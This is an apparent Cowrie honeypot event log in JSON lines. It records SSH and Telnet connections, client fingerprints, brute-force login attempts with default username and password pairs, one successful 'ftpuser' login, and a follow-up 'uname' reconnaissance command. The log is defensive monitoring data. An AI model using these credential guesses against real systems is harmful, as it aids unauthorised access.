{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:00.252720Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:00.258023Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:00.722528Z","src_ip":"45.153.34.97","session":"f26972b29900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.894327878952026,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:01.022993Z","src_ip":"152.42.224.71","session":"e1ba826a28fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":26872,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d4dfd955215","protocol":"ssh","message":"New connection: 45.153.34.97:26872 (10.17.0.5:22) [session: 0d4dfd955215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:03.374407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:03.384750Z","src_ip":"45.153.34.97","session":"0d4dfd955215","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:03.475951Z","src_ip":"45.153.34.97","session":"0d4dfd955215","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"password","message":"login attempt [weblogic/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:04.186167Z","src_ip":"45.153.34.97","session":"0d4dfd955215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:05.285639Z","src_ip":"45.153.34.97","session":"0d4dfd955215","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58170,"dst_ip":"10.17.0.5","dst_port":23,"session":"00b77f382d29","protocol":"telnet","message":"New connection: 152.42.224.71:58170 (10.17.0.5:23) [session: 00b77f382d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:06.042655Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38946,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfe0950d6ec0","protocol":"telnet","message":"New connection: 152.42.224.71:38946 (10.17.0.5:23) [session: cfe0950d6ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:06.175201Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":26880,"dst_ip":"10.17.0.5","dst_port":22,"session":"404d6b790592","protocol":"ssh","message":"New connection: 45.153.34.97:26880 (10.17.0.5:22) [session: 404d6b790592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:07.597942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:07.602226Z","src_ip":"45.153.34.97","session":"404d6b790592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:07.691227Z","src_ip":"45.153.34.97","session":"404d6b790592","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:07.985061Z","src_ip":"45.153.34.97","session":"404d6b790592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:09.083678Z","src_ip":"45.153.34.97","session":"404d6b790592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":56342,"dst_ip":"10.17.0.5","dst_port":22,"session":"abc629760cfc","protocol":"ssh","message":"New connection: 45.153.34.97:56342 (10.17.0.5:22) [session: abc629760cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:12.000007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:12.005097Z","src_ip":"45.153.34.97","session":"abc629760cfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:12.094732Z","src_ip":"45.153.34.97","session":"abc629760cfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38956,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5980b2a695b","protocol":"telnet","message":"New connection: 152.42.224.71:38956 (10.17.0.5:23) [session: a5980b2a695b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:12.397706Z"}
{"eventid":"cowrie.login.failed","username":"ace","password":"ace","message":"login attempt [ace/ace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:12.664906Z","src_ip":"45.153.34.97","session":"abc629760cfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:13.828309Z","src_ip":"45.153.34.97","session":"abc629760cfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":56352,"dst_ip":"10.17.0.5","dst_port":22,"session":"c38c4a43f120","protocol":"ssh","message":"New connection: 45.153.34.97:56352 (10.17.0.5:22) [session: c38c4a43f120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:16.570805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:16.575572Z","src_ip":"45.153.34.97","session":"c38c4a43f120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:16.685736Z","src_ip":"45.153.34.97","session":"c38c4a43f120","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:16.974113Z","src_ip":"45.153.34.97","session":"c38c4a43f120","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:17.478351Z","src_ip":"45.153.34.97","session":"c38c4a43f120","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:17.481847Z","src_ip":"45.153.34.97","session":"c38c4a43f120","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:17.887329Z","src_ip":"45.153.34.97","session":"c38c4a43f120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:17.893314Z","src_ip":"45.153.34.97","session":"c38c4a43f120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":55136,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6f306f3c152","protocol":"ssh","message":"New connection: 192.169.250.238:55136 (10.17.0.5:22) [session: b6f306f3c152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:19.541430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:19.546630Z","src_ip":"192.169.250.238","session":"b6f306f3c152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:19.623157Z","src_ip":"192.169.250.238","session":"b6f306f3c152","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Volkswagen","message":"login attempt [root/Volkswagen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:19.956856Z","src_ip":"192.169.250.238","session":"b6f306f3c152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":43060,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f14b5af6e07","protocol":"ssh","message":"New connection: 45.153.34.97:43060 (10.17.0.5:22) [session: 2f14b5af6e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:21.014300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:21.018650Z","src_ip":"45.153.34.97","session":"2f14b5af6e07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:21.035807Z","src_ip":"192.169.250.238","session":"b6f306f3c152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:21.105403Z","src_ip":"45.153.34.97","session":"2f14b5af6e07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root","message":"login attempt [sol/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:21.383623Z","src_ip":"45.153.34.97","session":"2f14b5af6e07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:22.497653Z","src_ip":"45.153.34.97","session":"2f14b5af6e07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":43082,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e51b31ba5c7","protocol":"ssh","message":"New connection: 45.153.34.97:43082 (10.17.0.5:22) [session: 9e51b31ba5c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:25.473412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:25.478662Z","src_ip":"45.153.34.97","session":"9e51b31ba5c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:25.582184Z","src_ip":"45.153.34.97","session":"9e51b31ba5c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":47778,"dst_ip":"10.17.0.5","dst_port":22,"session":"582f06f607b5","protocol":"ssh","message":"New connection: 43.153.36.83:47778 (10.17.0.5:22) [session: 582f06f607b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:25.747141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:25.752681Z","src_ip":"43.153.36.83","session":"582f06f607b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["s